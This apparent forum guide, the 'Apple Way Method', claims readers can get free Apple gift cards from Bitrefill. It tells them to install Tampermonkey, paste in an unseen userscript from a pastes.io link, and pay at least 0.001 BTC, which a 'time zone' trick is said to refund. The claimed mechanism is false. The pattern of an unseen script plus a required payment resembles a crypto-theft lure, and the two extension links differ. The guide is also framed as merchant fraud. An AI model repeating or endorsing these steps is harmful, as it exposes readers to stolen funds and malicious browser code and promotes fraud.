

# New Apple Way Method (2025)

## IMPORTANT REMINDER

**It is necessary for you to have a wallet containing bitcoin that you can use for payment and you must have a PC/ Laptop to perform this method.**

**This does not work on mobile devices!!!**

I personally suggest using Google chrome on your PC / Laptop and make sure your chrome language is set to (English)

Using this method you will be able to obtain anything from the apple website completely for free using gift cards

## How does it work?

This method works in 2 different stages, first you buy apple cards on a website called ([Bitrefill](#)) that will be reimbursed to yourself. Then you use the cards to order products from apple. You might be wondering how you are going to be reimbursed? You use an extension called (TamperMonkey) which changes the time zone of the browser. On [Bitrefill](#) as soon as you are redirected to the payment page, the time zone changes which results in a server conflict between the bitcoin payment and the bitrefill website. The payment shows as expired due to the time zone conflict but the payment has already been processed due to the script we used. You can then use your apple gift cards which have been sent to you by email.

# Summary of the process:

1. install a Google chrome extension called 'TamperMonkey'
2. Install the script that changes your browsers time zone on TamperMonkey
3. Place an order with the apple gift cards on Bitrefill and make sure payment is using bitcoin
4. Wait a few minutes for the refund to take place, I generally wait around 15-20 mins for my refund to come through (it can take longer depending on activity of bitcoin network) I've waited 30 mins previously
5. Go to the apple website and spend your well earned gift cards and make your profits!!!

## Important! Must read or won't work!

**Important - please read otherwise this method will not work, every step is just as important as the next.**

I've noticed that the payment platform will refund your expired order only if it is more than 0.001BTC. Any amount lower than that isn't prioritized by their refund system and will require you to email and ask for refund, which will result in your request being rejected as they will check that the order has already been processed by them and you have received the gift cards via email. You must also make sure that the Bitrefill language is set to English in order for the script to flow and work it's magic! If you use an amount greater than 0.001BTC it will be automatically refunded without any issues, I encountered this issue during my various tastings of the script

and since then my orders have always been 0.001BTC or higher, in other terms make sure you order is above 0.001BTC or £100

To my knowledge there is absolutely no money limit to this apart from you can only purchase 2 gift cards a day, there are slowly making changes to their system as they have noticed little income but extreme stock misuse

I myself do 2 gift cards or £250 each a day and at the end of the week I order all of my iPhones for collection.

### **Let's get started!**

Here are the items you need:

-at least 0.001BTC

Google chrome browser extension (TamperMonkey):

<https://chromewebstore.google.com/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo>

The script that changes time zone: <https://pastes.io/apple-way-method>

**If you have everything ready, then follow my steps carefully in order!**

**Set the chrome browser language to English!!!**

#### **Step 1:**

Enable extensions developer mode:

In the address bar enter this text chrome://extensions/ and press enter. Now turn on the developer mode at the top right it should turn blue once on

**Step 2:**

Add the Tampermonkey extension to your browser.

<https://chromewebstore.google.com/detail/tampermonkey/dhdgffkkehbmkmfjojeimpbldmpobfkfo>

**Step 3**

Click on the Tampermonkey icon at the top right of your browser, then click on “create a new script”

You can find Tampermonkey in the extensions tab on your browser

**Step 4:**

Delete the script already laid and make sure you have a blank script ready to paste in the script that's been created.

**Step 5:**

Copy the script from this link: <https://pastes.io/apple-way-method>

Paste it into that fresh blank script page on Tampermonkey

**Step6:**

Go to file and click save, make sure you enable the script by toggling the button next to the script, it should go green once enabled

**Step 7: you've done the hardest part!! Now all you have to do is make your purchase.**

Go to [Bitrefill](#) and on the front page you should see the apple gift card option

Add the desired gift card of your choice above 0.001BTC or £100 Gift card, you can even buy 2 of the £100 gift card if you have enough

Now add your gift card to your cart and click checkout

Input your email and click bitcoin on the next page

Another page will pop up, select the option that says "prefer not to select"

### **Step 8:**

At this point of the method you must pay for the product by sending the asked amount of BTC to the BTC address they provide you with.

Be sure to input the exact amount!

### **Step 9:**

Now that you've paid for the order, wait for confirmation. As soon as your transaction gets confirmed in the blockchain (shouldn't take more than 20 mins) you will receive the email with the codes to your apple gift card.

It usually takes 15 mins for the BTC to be refunded after the order is confirmed

Remember it can take longer depending on the bitcoin network activity (I've personally waited 35 mins for a transaction)

### **Step 10:**

Now that you've received your codes via email it's time to treat yourself to an apple product of your choice, you can spend straight away or do what I do personally and stack all my gift cards till the end of the week and do a crazy collection and make 2-3 racks on one day and enjoy the rest.

**Rinse and repeat!!!**
